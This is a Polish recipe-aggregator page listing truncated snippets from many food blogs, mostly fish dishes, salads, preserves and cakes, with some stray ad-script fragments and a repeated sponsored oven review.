Sushi – przepis na małe, japońskie specjały, które podbiły świat i cieszą się nieustającą popularnością. Ryż zaprawiony marynatą (zobacz jak przygotować ryż do sushi ), surowa, marynowana lub wędzona ryba, szereg różnorodnych dodatków – to wszystko składa się na to smaczne danie. Dzisiaj zapraszam was po przepis na te smakowite kąski z ryżu. PRZEPIS NA SUSHI Składniki na sushi: 1 szkl(...)dołu). Na nori układamy ryż na 2/3 powierzchni (ryż dość lepki łatwiej rozprowadzić zmoczonymi w wodzie rękami). Na środku ryżu smarujemy cieniutką warstwę wasabi, układamy na niej kawałki ryby i śliwek. Zawijamy przy pomocy maty bambusowej w rulon a ten kroimy w plastry o szerokości ok 2 cm ( nóż musi być naprawdę ostry). Podajemy z sosem sojowym oraz marynowanym

Dorota Smakuje
Kotleciki z cukinii i ziemniaków 131

Kotlety z cukinii i ziemniaków - nie wyrzucaj, wykorzystaj! Kotleciki z cukinii lub inne kotlety z warzyw to świetne danie, dzięki któremu możemy wykorzystać różne “obiadowe” resztki

Korniszonki
Tradycyjna sałatka z tuńczykiem i kukurydzą 99

Sałatka z tuńczykiem, kukurydzą, serem żółtym i kiszonym ogórkiem Sałatka z tuńczyka zagościła na polskich stołach na początku lat 90. ubiegłego wieku i od tamtego czasu

Korniszonki
Zupa krem z dyni i papryki 132

Krem z dyni i papryki - zupa idealna na jesienny obiad Kremowe zupy z dyni to wręcz nieograniczone pole do kulinarnych eksperymentów. Są pyszne, pożywne, pięknie wyglądają

Korniszonki
Kotlety rybne 125

Zapraszam po kotlety rybne , które należą do jednych z prostszych przepisów z wykorzystaniem ryb. Takie kotlety rybne z dorsza lub innej ryby o jasnym mięsie są idealne na obiad również dla dzieci.  - prosty przepis na kotlety rybne - tylko kilka niezbędnych składników - mimo smażenia nie są bardzo kaloryczne

AniaGotuje.pl
Domowy chleb na drożdżach 156

Domowy chleb na drożdżach - prosty przepis Chleb pieczony w domu to chleb specjalny, wyjątkowy, taki który smakuje każdemu w rodzinie. Przepisów na domowy chleb jest mnóstwo

Korniszonki
Zupa grzybowa z kaszą krakowską 132

Zupa grzybowa z kaszą krakowską lub kaszą jęczmienną Zupa grzybowa z kaszą to mega rozgrzewająca potrawa na jesienne i zimowe dni. Przygotowana z suszonych prawdziwków lub

Korniszonki
Ryba w sosie śmietankowo koperkowym 96

Ryba w sosie śmietankowo koperkowym Propozycja na piątkowy obiadek. Składniki: ·        ½ kg fileta rybnego ·        Mąka do obtoczenia ·        Olej do smażenia ·        2 jajka ·        Sól ·        Pomysł(...)rybę w sosie śmietankowo koperkowym ·        Brokuł Sposób przygotowania: 1.    Brokuł dzielimy na różyczki, gotujemy w osolonej wodzie. 2.    Rybę kroimy na mniejsze porcje, solimy, zanurzamy w roztrzepanym widelcem jajku i obtaczamy w mące pszennej. 3.    Smażymy na rozgrzanym oleju z obu stron. 4.    Następnie układamy

Kulinarna Chwila
Najlepsze ciasto marchewkowe z kremem z serka śniadaniowego 179

Ciasto marchewkowe z kremem z serka śniadaniowego Ciasto marchewkowe przebojem wdarło się w świat ulubionych wypieków Polaków. Ten anglosaski przysmak cieszy się uznaniem wśród młodszych i

Korniszonki
BENALMÁDENA – miała być Afryka, a wylądowałam w Hiszpanii / CO ZOBACZYĆ W BENALMÁDENIE I NA COSTA DEL SOL? 111

temat morskich stworzeń. Ogromną atrakcją jest w nim tunel rekinów, który pozwala oko w oko spotkać się z drapieżnikami. W całym kompleksie nie brakuje też oczywiście różnych gatunków ryb, meduz, koników morskich, piranii czy małych, kolorowych płazów. W bilety polecam zaopatrzyć się online – jest taniej. Dorośli – 16€, online – 13,50€ Adres: Puerto deportivo s/n, 29630 Benalmádena(...)Kenii, Filipin czy też Malezji. Latające nad głową i wylęgające się z kokonu. Oprócz motyli, wewnątrz znajdziemy też kilka innych zwierząt. Przy tropikalnym jeziorku na odwiedzających czekają różne gatunki ryb, ptaki, żółw oraz kangur! Wszystko to stanowi znakomitą atrakcję zarówno dla dzieci, jak i dorosłych. Motylarnię można odwiedzać we wszystkie dni robocze w godzinach

Ostra na Słodko
Puszyste racuchy bez proszku do pieczenia i drożdży 133

Puszyste racuszki z jabłkami bez drożdży i proszku do pieczenia Racuchy to idealne śniadanie, nie tylko dla dzieci. Racuszki z owocami, cukrem pudrem, miodem lub syropem

Korniszonki
Ryba w sosie warzywnym 157

czarnego kawałek papryki 1 opakowanie boczniaków 100 g szpinaku 5 łyżek jogurtu naturalnego przyprawa do ryb sól, pieprz, chili Przygotowanie: Paprykę pokroić w kostkę, boczniaki … Czytaj dalej Ryba w sosie warzywnym

czarrna od kuchni
Sałatka z buraków, fasoli i sera feta 160

Sałatka z fasolą Jaś, burakami i serem feta Fasola i ser feta lub kozi to super połączenie, które świetnie sprawdza się w różnych sałatkach. Te składniki

Korniszonki
Pieczona papryka z ziołami do słoików na zimę 130

Pieczona papryka z ziołami do słoików na zimę w lekkiej zalewie octowej z oliwą Papryka to niezwykłe warzywo, które świetnie smakuje na surowo, na ciepło w

Korniszonki
Jak zrobić francuski ratatouille? Przepis na ratatuj zapiekany 167

danie i tak jest pyszne i aromatyczne. Polecam jako samodzielną wegetariańską potrawę z dodatkiem pieczywa czy ziemniaków i ewentualnie sera (feta, mozzarella) lub jako warzywny dodatek do mięsa czy ryby. ➤ Zobacz także:  Makaron z sosem a'la ratatouille Kampania „Wszystkie smaki i kolory papryki, cukinii i bakłażana”  Kocham jeść warzywa i chcę wspierać naszych polskich producentów(...)stopni C i piecz przez 1 godzinę.  6. Gotowy ratatouille podawaj z dodatkiem świeżego pieczywa, ziemniaków lub makaronu. Możesz go również zestawić z kawałkiem mięsa lub ryby. Uwagi do przepisu: Wybierz nieduże, wąskie cukinie i bakłażany. Dobrze, aby wszystkie warzywa miały podobną średnicę.  Ratatouille przygotuj w okrągłym lub owalnym naczyniu do zapiekania. Ważne, aby naczynie było raczej

Chilli Czosnek i Oliwa
Mikrofalówka – wyznanie wyrodnego ojca i jeszcze gorszego kucharza 84

zapewnieniom producentów, nie ugotujecie w nich posiłku od podstaw. Wiem, bo kiedyś dostałem na próbę mikrofalówkę znanej marki z załączoną książką kucharską. Były w niej przepisy na cielęcinę, ryby, warzywa czy desery. Wszystko, co udało mi się przyrządzić, smakowało jak skrzyżowanie jedzenia dla kosmonautów z chińskimi trampkami. Ponadto, mimo iż polecam mikrofalówkę do codziennego domowego użytku, daleki jestem(...)mikrofalówka i piekarnik z termoobiegiem. Rozwiązanie doskonałe dla każdego kto nie ma miejsca w domu na pełnowymiarowy piekarnik. Lub jeżeli nie chcesz odpalać dużego piekarnika dla 1 kawałka ryby.   Do tej pory przedstawiałem raczej mikrofalówki o większych gabarytach. Tym razem coś bardziej dla singli lub młodych małżeństw. Model o pojemności 20 l i rozsądnych rozmiarów, sprzęt możecie kupić

kuron.com.pl
Pstrąg zawojski 177

się smacznym jedzonkiem w Zawoi. Pierwszy raz odwiedzone przez nas miejsce, Pstrąg Zawojski, bardzo pozytywnie nas zaskoczyło. Mnie to już w ogóle jako, że zawsze sceptycznie podchodziłam do jedzenia ryb. Zamówiliśmy pstrąga w zestawie oraz jesiotra, którego jadłam pierwszy raz. Rybki świeżutkie i pyszne. Byłam zachwycona. Miejsce schowane, z tego co zauważyliśmy jednak bardzo popularne wśród turystów i lokalnych(...)pewno przy nadarzającej się okazji będziemy chcieli tam jeszcze wrócić. Co więcej warto wiedzieć, że funkcjonuje też ich sklep internetowy oraz że można zakupić wędzone ryby do domu. Skusiliśmy się też na taki zakup i byliśmy bardzo zadowoleni ze smacznej kolacji. Gorąco polecam

Karola gotuje
Keto placki z cukinii z łososiem (Paleo, LowCarb) 112

może się poszczycić własną jego odmianą. Łososie tej firmy są hodowane z troską: karmione karmą obfitującą w składniki pochodzenia oceanicznego, trzymane w zbiornikach zarybionych tylko w 2 %, co daje rybom optymalne warunki do rozwoju. Dzięki takim działaniom łososie tej firmy posiadają o 20% więcej kwasów omega-3 niż inne dostępne na rynku łososie. Ryby nie są również poddawane

Modern Cave Girl
Keto burgery z łososia (Paleo, LowCarb) 170

może się poszczycić własną jego odmianą. Łososie tej firmy są hodowane z troską: karmione karmą obfitującą w składniki pochodzenia oceanicznego, trzymane w zbiornikach zarybionych tylko w 2 %, co daje rybom optymalne warunki do rozwoju. Dzięki takim działaniom łososie tej firmy posiadają o 20% więcej kwasów omega-3 niż inne dostępne na rynku łososie. Ryby nie są również poddawane

Modern Cave Girl
Zapiekanka makaronowa z kurczakiem i brokułami w kremowym sosie 118

Zapiekanka makaronowa z kurczakiem i warzywami Zapiekanka makaronowa z kurczakiem i różnymi warzywami to pyszne sycące danie, które można podać na obiad oraz na ciepłą kolację

Korniszonki
Ciasto cytrynowe podwójnie cytrynowe 152

Ciasto cytrynowo-cytrynowe To ciasto cytrynowe to prawdziwe szaleństwo smaku cytryny. Jest to bardzo proste i pyszne ciasto ucierane, które dodatkowo poza skórką cytrynową jest nasączone

Korniszonki
Ryba Ananasek 97

Ryba Ananasek Ananas wykorzystywany jest jako naturalny środek, który wspomaga trawienie, stosowany jest w dietach. Również można wykorzystać jego słodko kwaśny smak oraz aromat do różnych potraw, proponuję rybę. Składniki: ·        1 kg dowolnego fileta rybnego ·        Mąka pszenna do obtoczenia ·        2 jajka(...)pomidorowy ·        3 łyżki ketchupu ·        Cebula ·        Sól Sposób przygotowania: 1.    Rybę kroimy na mniejsze kawałki, solimy. 2.    Zanurzamy w roztrzepanym jajku. 3.    Obtaczamy w mące. 4.    Smażymy na rozgrzanym oleju z obu stron

Kulinarna Chwila
Ogórki w zalewie musztardowej z miodem 109

Ogórki w zalewie musztardowo-miodowej Wśród przetworów na zimę bez wątpienia rządzą ogórki! Tym razem proponuje przepis na pyszne ogórki w zalewie musztardowo-miodowej . Tak przygotowane

Korniszonki
Zapiekane młode ziemniaczki 25727

również posiłkiem samym w sobie. Do ziemniaków można zastosować różne przyprawy, zależnie od upodobań smakowych. Idealnie pasują do wiosennej surówki z młodej kapusty oraz piersi z kurczaka bądź pieczonej ryby. Ja uwielbiam zapiekane młode ziemniaki z domowej roboty sosem czosnkowym. (adsbygoogle = window.adsbygoogle || []).push({}); Zapiekane młode ziemniaczki – składniki 1 kg małych młodych ziemniaków 5 łyżek oleju słodka papryka(...)piecz około 60 minut, bądź dłużej, jeśli ziemniaki będą jeszcze twarde. Podawaj ziemniaki z sosem czosnkowym domowej roboty, bądź ketchupem. Jest do idealny dodatek do panierowanych piersi z kurczaka, ryby pieczonej w piekarniku. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Zapiekane młode ziemniaczki pochodzi z serwisu To musisz wiedzieć

To Musisz Wiedzieć
Sałatka w słoikach z ogórków, papryki i cebuli 123

Sałatka w słoikach z ogórków, papryki i cebuli z nuta miodu Zimowa sałatka w słoiku to ratunek, który zawsze jest pod ręką. Tak zwana sałatka szwedzka

Korniszonki
Sałatka z łososiem i warzywami 74

Dzień dobry moi drodzy. Dzisiaj trochę odetchniemy w końcu od słodkich deserów i zaproponuję Wam pożywne i zdrowe śniadanie bądź kolację. Łosoś jest zaliczany do gatunku ryb tłustych i rzadko kojarzony jest ze zdrowym odżywianiem, fit i odchudzaniem. A to wielki błąd! Tak samo, jak makrela wskazana jest na diecie zbilansowanej, ze względu na swoje bogate  „ wyposażenie". Zawiera(...)bardzo nie biorę jej pod uwagę, szczególnie że biorą wszystko do jednego worka. Co prawda, nie mówię, że to totalna głupota, bo trochę racji mają, jeśli chodzi o hodowlane ryby, ale nikt przecież nie je codziennie po 5 kg, żeby to w jakiś bardzo szkodliwy sposób miało wpłynąć na zdrowie. Dla przypomnienia problemu popatrzcie jaka różnica jest między dzikim

zdrowo i aktywnie
Papryka marynowana w słoikach 179

Papryka marynowana w zalewie octowej Marynowana papryka to klasyk wśród octowych przetworów. Sprawdza się jako dodatek do ciepłych i zimnych mięs, sałatek, kanapek, burgerów. Oczywiście marynowana

Korniszonki
Sałatka obiadowa z fasoli Jaś z serem feta 137

Sałatka z fasoli Jaś i sera feta z warzywami sezonowymi Fasola, ser i świeże warzywa to zestaw, który świetnie sprawdzi się jako danie obiadowe. Sałatka przygotowana

Korniszonki
Kiszone jabłka z przyprawami korzennymi 116

Kiszone jabłka w słoju Kiszone jabłka to tradycyjny przysmak polskiej kuchni. Dawniej jabłka były przede wszystkim dodawane do beczek z kiszoną kapustą. Jednak te owoce można

Korniszonki
Tradycyjne japońskie zupy – co warto o nich wiedzieć? 158

bazie sfermentowanej soi. To właśnie ten składnik jest odpowiedzialny za bogactwo znajdujących się w tym przysmaku witamin i minerałów. Oprócz niego danie zawiera najczęściej różnego rodzaju warzywa i ryby. Posmakowanie tego typu potraw jest jednak możliwe nie tylko w Japonii. Pyszną zupę miso można zjeść m.in. w restauracjach sushi w Poznaniu , Warszawie, Krakowie i innych większych miastach. Fakt(...)zależy m.in. od regionu i przygotowującego danie kucharza. Ten przysmak wyróżnia się jednak bogactwem dodatków – na zalanym bulionem makaronie układa się zazwyczaj kopczyk świeżych ziół, tofu czy tempury (panierowane ryby, krewetki, warzywa, grzyby Kinoko). Wywar można przygotowywać zarówno z dodatkiem wołowiny lub kurczaka, jak i w wersji wegetariańskiej. Materiał partnera. Redakcja nie ponosi odpowiedzialności za treści materiału. (function(){ c6kw

Kulinarnyblog.pl - wiesz jak gotować!
Sorbetowe lody malinowe. Domowe lody z malin i mleka 180

Sorbet malinowy - domowe lody malinowe Sorbet malinowy jest cudowny w upalne letnie popołudnia. Osobiście lubię ten deser przygotowywać z dodatkiem mleka, które daje gładki, aksamitny smak

Korniszonki
Dietetyczny łosoś z pietruszkowym pesto 114

Najbardziej lubiana ze wszystkich ryb - łosoś. Dzisiaj w wydaniu dietetycznym, bo pieczona w piekarniku. Danie zdrowe, lekkie, super proste i bardzo wykwintne. Rybę ułożyłam na plasterkach pomidora, a pietruszkowym pesto obłożyłam dopiero po upieczeniu, by zachowało wszystkie wartości odżywcze i witaminy

Gotuj zdrowo!Guten Appetit!
Muffinki czekoladowe last minute 114

Muffinki czekoladowe - prosty przepis na szybkie babeczki Ten przepis na muffinki czekoladowe warto mieć zawsze pod ręką. Te babeczki przygotowuje się dosłownie 10 minut z nagrzaniem

Korniszonki
Sałatka makaronowa z ciecierzycą, papryką i ogórkiem 137

Sałatka makaronowa z ciecierzycą Sałatka makaronowa to tak naprawdę bardzo pożywne danie. Makaron z dodatkiem ciecierzycy stanowi pełnowartościowy posiłek z zawartością węglowodanów, białka, dobrego tłuszczu oraz

Korniszonki
Szarlotka super krucha 185

Szarlotka super krucha na ciepło z cukrem pudrem Sezon na jabłka trwa cały rok, ale późnym latem szarlotki i jabłeczniki królują na stołach miłośników słodkości. Upieczone

Korniszonki
Nalewka z jeżyn - przepis tradycyjny na jeżynówkę 121

Jeżynówka - nalewka z jeżyn według tradycyjnego przepisu Jeżynówka to jedna najlepszych letnich nalewek. Jest mnóstwo przepisów na nalewkę z jeżyn jednak warto wypróbować tę tradycyjną recepturę

Korniszonki
Tort węgierski - czekoladowy tort z wiśniami w alkoholu 371

Tort węgierski - klasyka deserów - czekolada, wiśnie, alkohol Tort węgierski, ten prawdziwy, powinni jeść tylko dorośli smakosze. Dlaczego? Ponieważ nieodzownym dodatkiem do tego specjału są wiśnie w

Korniszonki
Nalewka z wiśni wg. przedwojennej receptury 2494

Przepis na tradycyjną nalewkę z wiśni wg receptury sprzed wojny Nalewki z letnich owoców to prawdziwy cud w kieliszku w czasie zimowych chłodów. Dobrze zrobiona nalewka

Korniszonki
Sałatka zimowa z ogórków w zalewie octowej 162

Zimowa sałatka z ogórków w zalewie octowej z czosnkiem, cebulą i pietruszką   Zimowe sałatki w słoikach to idealny dodatek do obiadów w miesiącach, gdy świeże

Korniszonki
5 najpopularniejszych rodzajów makaronu 126

najszerszych nitek, a jego korzeni należy upatrywać w kuchni z Toskanii. Pappardelle można zamówić we włoskich restauracjach (np. http://www.estella.pl/menu-restauracyjne/makarony ) i najczęściej podawane jest z owocami morza lub rybami. Pappardelle z doradą 500 g makaronu pappardelle, 300 g fileta z dorady, cebula, 2 ząbki czosnku, śmietana kremówka 36%, bazylia, tymianek, sól, pieprz. Naczynie żaroodporne wyłożyć papierem do pieczenia(...)ułożyć w nim ugotowany makaron. Następnie dodać do niego zeszkloną cebulę z czosnkiem oraz kawałki surowej ryby. Całość zalać śmietaną kremówką z dodatkiem przypraw. Zapiekać w piekarniku przez ok. 20 minut (preferowana temperatura to 180°C). Spaghetti Bez wątpienia najbardziej rozpoznawalna odmiana makaronu. Przeważnie wytwarzana jest z mąki pszennej, ale coraz częściej można spotkać produkty powstające na bazie mąk

CookMag
Ryba na cieście francuskim 63

Ryba na cieście francuskim, w tym przypadku sola (ale możecie użyć każdą inną białą rybę, np. dorsza). Z reguły do sosu śmietankowo-koperkowego używam słodką śmietanę, tym razem jednak skorzystałam z kwaśnej, gęstej śmietany, co nadało potrawie ciek The post Ryba na cieście francuskim appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Sałatka z kaszy kuskus z groszkiem 101

Tylko kilka składników i można wyczarować smaczną sałatkę. Sałatka z kuskusem i groszkiem pasuje do dań mięsnych oraz ryb.  Sałatka z kaszy kuskus z groszkiem / 2 porcje Składniki: 100 g kaszy kuskus 400 g konserwowego groszku 1/2 cebuli 1/3 pęczka natki z pietruszki sól, pieprz do smaku Przygotowanie: Kaszę kuskus przygotowujemy zgodnie z opisem na opakowaniu. Groszek płuczemy(...)groszkiem. Cebulę drobno kroimy i dodajemy do kaszy z groszkiem. Natkę z pietruszki siekamy i łączymy z pozostałymi składnikami. Doprawiamy do smaku. Mieszamy. Podajemy jako dodatek do ryb, mięs i warzyw z grilla

Moja smaczna kuchnia
Dorsz po włosku - z pomidorami i bazylią 104

szukam super rozwiązań na ryby, ponieważ uważam, że jem ich zdecydowanie za mało. W związku z tym, że bardzo lubię kuchnię włoską, szybko wpadłam na pomysł, aby połączyć rybę z czymś bardzo włoskim. Zobaczcie co mi wyszło Dorsz po włosku - z pomidorami i bazylią 2 filety z dorsza 1 duży pomidor 1 cebula świeże liście bazylii świeży tymianek

Kuchnia moimi oczami
Pasta z makreli 147

pieprz do smaku (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: Oddzielamy mięso ryby od ości i przekładamy do miseczki, następnie siekamy w drobną kosteczkę cebulę i dodajemy wraz z kukurydzą do ryby. Doprawiamy solą i pieprzem i mieszamy z majonezem, możemy przyozdobić siekanym szczypiorkiem bądź natką pietruszki. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); Zdjęcia

Studencka Micha
Burgery rybne 111

programie, opracowałam własny przepis na burgery rybne , które – pewnie Was to nie zdziwi ;) – wyszły przepyszne ! Sekretem owych burgerów rybnych jest po pierwsze użycie dwóch rodzajów świeżych ryb: tłustej makreli oraz dowolnej białej ryby, bez skóry i ości, posiekanie ich nożem (nie żadnymi robotami), wymieszanie ze skórką cytrynową (nie sokiem), odrobiną bułki tartej i nie dodawanie jaja

Moja Delicja
SOS ŚMIETANOWY Z KOPERKIEM I SZCZYPIORKIEM 88

bardzo prosty sos śmietanowy z koperkiem (i szczypiorkiem) idealnie sprawdza się zarówno jako dodatek do np ryby, jak i sos w sałatce ziemniaczanej. Mimo obecności śmietany i majonezu nie jest ciężki – to z kolei zasługa ziół i soku z cytryny. Gorąco polecam! This very simple, cream sauce with dill (and chives) works perfectly with f.e. fish(...)smaku) pieprz sól wymieszaj śmietanę z majonezem koperek i szczypiorek drobno posiekaj, dodaj do sosu dopraw sokiem z cytryny, solą i pieprzem podaj jako dodatek do gotowanych ziemniaków, ryby, albo jako sos do sałatki Smacznego! *w sumie ok 0,5-1 szklanki posiekanych ziół. Oczywiście możesz dodać mniej lub więcej – wedle uznania (adsbygoogle = window.adsbygoogle || []).push({}); Kliknij, jeśli chciałbyś

SandraFrej.com
Flądra pieczona 96

Alternatywne przygotowanie tej ryby. Nie tylko smażmy ją. Warto umieścić ją w piekarniku z nieco(...)innej odsłonie.  Składniki:  2 flądry 4 ząbki czosnku 2 łyżki koncentratu pomidorowego sok z cytryny natka pietruszki 1 łyżka oliwy z oliwek sól, pieprz Przygotowanie:  Oczyszczoną rybę, umyłem i naciąłem pod kątem od strony skóry. Oliwę z oliwek wymieszałem z sokiem z cytryny, drobno posiekanym 1 ząbkiem czosnku, solą i pieprzem. Zamarynowałem flądrę, odstawiłem

R'n'G Kitchen
Pierwszy krok w chmurach. 101

później praktyki w restauracji, okazały się próbą nie tyle umiejętności, co charakteru. A przynajmniej tak było w moim przypadku. Wszystko – począwszy od sposobu trzymania noża, skończywszy na filetowaniu ryby (rzeczy dla kogoś po szkole gastronomicznej tak dziecinnie proste, że wstyd się przyznać, że się ich nie wie) – było nowością. Gdyby tego było mało, wszystko odbywało się(...)gdzie (co z resztą zrobiło na mnie ogromne wrażenie już pierwszego dnia) do produktów i przygotowanych z nich dań podchodzi się z niesamowitą dokładnością, pasją i zaangażowaniem. Każda dostawa ryb i owoców morza to wydarzenie: kucharze z Tastem (często też z siostrzanej restauracji Honoo ) gromadzą się wokół styropianowego pudełka i zawzięcie dyskutują problem świeżości przywiezionego dzisiaj tuńczyka, bądź też

Gotuj po hiszpańsku
Makaron z tuńczykiem, pomidorami i oliwkami 129

Makaron ze świeżymi i suszonymi pomidorami, oliwkami i tuńczykiem 🐟 Jeden z moich ulubionych.Przyznawać się... Kto je ryby, a kto nie? My w lecie zdecydowanie częściej ze względu na działkę przy stawach. Składniki na 3 porcje: 300 g makaronu 1 puszka tuńczyka w sosie własnym 1 pomidor Garść oliwek 5 suszonych pomidorów Świeża bazylia 1 ząbek czosnku 1 łyżka

Czarnawisienka
Sos z suszonymi pomidorami 117

aromatyczne i sos z ich dodatkiem świetnie poprawia smak potraw. Sos sprawdza się jako dip do pieczonych lub surowych warzyw i grillowanego mięsa. Nie sprawdzałam tylko połączenia sosu z rybami, gdyż byłby chyba zbyt intensywny i zdominowałby smak ryby. Przygotowując sos z suszonymi pomidorami, najlepiej pomidory dodawać stopniowo, gdyż mogą one mieć nie tylko różny stopień wysuszenia

Gotuj w domu
Winerua – Box z winem – recenzja 105

kwasowością i nutami wody różanej, brzoskwiń, cytrusów i ziół. Jak można domyślić się z pięknej etykiety Dos Claveles to po hiszpańsku 2 goździki Winerua poleca je do owoców morza, ryb i białego mięsa, ale moim zdaniem będzie też dobre do owocowego deseru. Myślę, że mogłabym skusić się na nie ponownie. Pecorino 2018 z regionu Torre di Chieti w Abruzji(...)środkowych Włoch, ze szczepu Pecorino. Nie dość, że wegańskie i organiczne, to jeszcze ręcznie zbierane. Jest zbalansowane z nutą zielonych gruszek, moreli i cytrusów. Dobrze pasuje do makaronu, ryby i dań warzywnych. Winerua poleca je do lazanii z cukini czy tarty z porem. Wydaje mi się, że to najdroższe wino z tego zestawu, ale najmniej mi smakowało. Dużo ostatnio

Ugotowane pozamiatane
Smażony "zielony" śledź 112

usmażony śledź to niezwykły rarytas. Ta najtańsza z ryb należy do jednocześnie do najzdrowszych, jest najbogatsza w kwasy omega-3. Nie obawiaj się śledzia, bo choć to tłusta ryba to 100g ma tylko 160 kcal. Uwielbiamy śledzie pod każdą postacią, ale te szczególnie. Chrupiąca panierka i przysmażony chrupiący ogonek smakują wyjątkowo

Gotuj zdrowo!Guten Appetit!
Prosta surówka z młodej kapusty 100

Sobota! Zamarzyła mi się surówka z młodej kapusty. Uwielbiam młodą kapustę! Surówka z młodej kapusty to popularna przystawka do letniego obiadu. Przyrządzam ją mięsa i ryby. Surówka świetnie sprawdza się również do grilla . Dzisiaj grillowaliśmy żeberka w miodzie , więc lekko kwaśna surówka z młodej kapusty świetnie do nich pasowała. Pogoda dopisała od samego rana. Zapowiadane upały jakoś nie mogą(...)śmietaną, musztardą, solą i pieprzem. Tak przyrządzony sos można użyć jako zimny sos do mięsa np. do hamburgerów. Dodaj sos do warzyw i wymieszaj sałatkę. Podawaj do mięsa i ryby. Smacznego!   The post Prosta surówka z młodej kapusty appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Ryba w marynacie 101

Ryba w marynacie to niezwykle smaczna przystawka, którą podajemy na zimno. Przepis pochodzi z książki kucharskiej z lat 70. W ten sposób możemy przyrządzić każdą rybę. Bardzo dobrze również smakują śledzie. Zamknięta w słoiku może być przechowywana w lodówce kilka dni. Po zalaniu marynatą dobrze jak postoi kilka godzin w lodówce. Składniki 500 g … Czytaj dalej Ryba w marynacie(...)Artykuł Ryba w marynacie pochodzi z serwisu gotuj-ze-mna-blog

gotuj ze mną
Ryba zapiekana ze szpinakiem i brokułami 198

ryby 1 opakowanie mrożonych brokułów 1 opakowanie mrożonego szpinaku 3-4 ząbki czosnku 4 jajka 2 łyżki jogurt 5 dkg sera żółtego sól, pieprz Sposób … Czytaj dalej Ryba zapiekana ze szpinakiem i brokułami

czarrna od kuchni
DUTCH BABY Z OWOCAMI - PIECZONY NALEŚNIK 160

temperatury i czasu oraz wybór programów automatycznych. Dodatkowo znajdziemy tu zaprogramowane dla różnych rodzajów potraw ustawienia, co bardzo ułatwia korzystanie z piekarnika.  Bardzo fajną opcją jest t ryb szybkiego nagrzewania piekarnika, co pozwala o 40% skrócić czas przygotowania piekarnika do pracy w wymaganej temperaturze. Piekarnik nagrzewa się równomiernie, co sprawia, ze również potrawa jest równomiernie(...)Electrolux  wymieniałbym: bardzo łatwy i intuicyjny w  obsłudze szybko się nagrzewa potrawy są równomiernie upieczone termosonda sprawdza się doskonale przy pieczeniu mięs i ryb bardzo łatwy w czyszczeniu ma elegancki design Natomiast jeśli chodzi o minusy to póki co znalazłam jeden: ciężko otwierają się drzwiczki piekarnika - być

Słodko-Słony Świat Ilony
JAJKA ZAPIEKANE Z CIECIERZYCĄ W POMIDORACH 181

temperatury i czasu oraz wybór programów automatycznych. Dodatkowo znajdziemy tu zaprogramowane dla różnych rodzajów potraw ustawienia, co bardzo ułatwia korzystanie z piekarnika.  Bardzo fajną opcją jest t ryb szybkiego nagrzewania piekarnika, co pozwala o 40% skrócić czas przygotowania piekarnika do pracy w wymaganej temperaturze. Piekarnik nagrzewa się równomiernie, co sprawia, ze również potrawa jest równomiernie(...)Electrolux  wymieniałbym: bardzo łatwy i intuicyjny w  obsłudze szybko się nagrzewa potrawy są równomiernie upieczone termosonda sprawdza się doskonale przy pieczeniu mięs i ryb bardzo łatwy w czyszczeniu ma elegancki design Natomiast jeśli chodzi o minusy to póki co znalazłam jeden: ciężko otwierają się drzwiczki piekarnika - być

Słodko-Słony Świat Ilony
Makrela z grilla z rabarbarem 120

Pierwszy raz robiłam świeżą makrele na grillu i to z rabarbarem. Dlaczego z nim. Otóż jest on kwaskowy tak jak cytryna i uznałam że może ją zastąpić. Ryba wyszła pyszna, chrupiąca z fajnym rabarbarem. Do tego podałam młode marchewki balsamico i cóż więcej powiedzieć. Spróbujcie i  przekonajcie się. 2 makrele świeże 3 łodygi rabarbaru 1 papryka żółta 1 papryka(...)kawałki 1 cm. Masło mieszam z pokrojoną natką pietruszki około łyżka natki. Połowę wkładam do środka jednej makreli, drugą połowę do drugiej. Wkładam kawałki rabarbaru i spinam wykałaczkami ryby, żeby rabarbar nie wyleciał.  Marchewki myję i obieram. Przekładam do miski, dodaję kawałki papryki, sól, sos balsamico i nacieram warzywa. Rybę i warzywa grilluję z każdej strony. Przed podaniem

wesoła kuchnia
TOSTY FRANCUSKIE Z PIEKARNIKA Z OWOCAMI 203

temperatury i czasu oraz wybór programów automatycznych. Dodatkowo znajdziemy tu zaprogramowane dla różnych rodzajów potraw ustawienia, co bardzo ułatwia korzystanie z piekarnika.  Bardzo fajną opcją jest t ryb szybkiego nagrzewania piekarnika, co pozwala o 40% skrócić czas przygotowania piekarnika do pracy w wymaganej temperaturze. Piekarnik nagrzewa się równomiernie, co sprawia, ze również potrawa jest równomiernie(...)Electrolux wymieniałbym: bardzo łatwy i intuicyjny w  obsłudze szybko się nagrzewa potrawy są równomiernie upieczone termosonda sprawdza się doskonale przy pieczeniu mięs i ryb bardzo łatwy w czyszczeniu ma elegancki design Natomiast jeśli chodzi o minusy to póki co znalazłam jeden: ciężko otwierają się drzwiczki piekarnika - być

Słodko-Słony Świat Ilony
SWOJSKA ZAPIEKANKA MAKARONOWA Z KIEŁBASĄ, BOCZKIEM I WARZYWAMI 142

temperatury i czasu oraz wybór programów automatycznych. Dodatkowo znajdziemy tu zaprogramowane dla różnych rodzajów potraw ustawienia, co bardzo ułatwia korzystanie z piekarnika.  Bardzo fajną opcją jest t ryb szybkiego nagrzewania piekarnika, co pozwala o 40% skrócić czas przygotowania piekarnika do pracy w wymaganej temperaturze. Piekarnik nagrzewa się równomiernie, co sprawia, ze również potrawa jest równomiernie(...)Electrolux wymieniałbym: bardzo łatwy i intuicyjny w  obsłudze szybko się nagrzewa potrawy są równomiernie upieczone termosonda sprawdza się doskonale przy pieczeniu mięs i ryb bardzo łatwy w czyszczeniu ma elegancki design Natomiast jeśli chodzi o minusy to póki co znalazłam jeden: ciężko otwierają się drzwiczki piekarnika - być

Słodko-Słony Świat Ilony
Jak wzmocnić nasz układ odpornościowy? 87

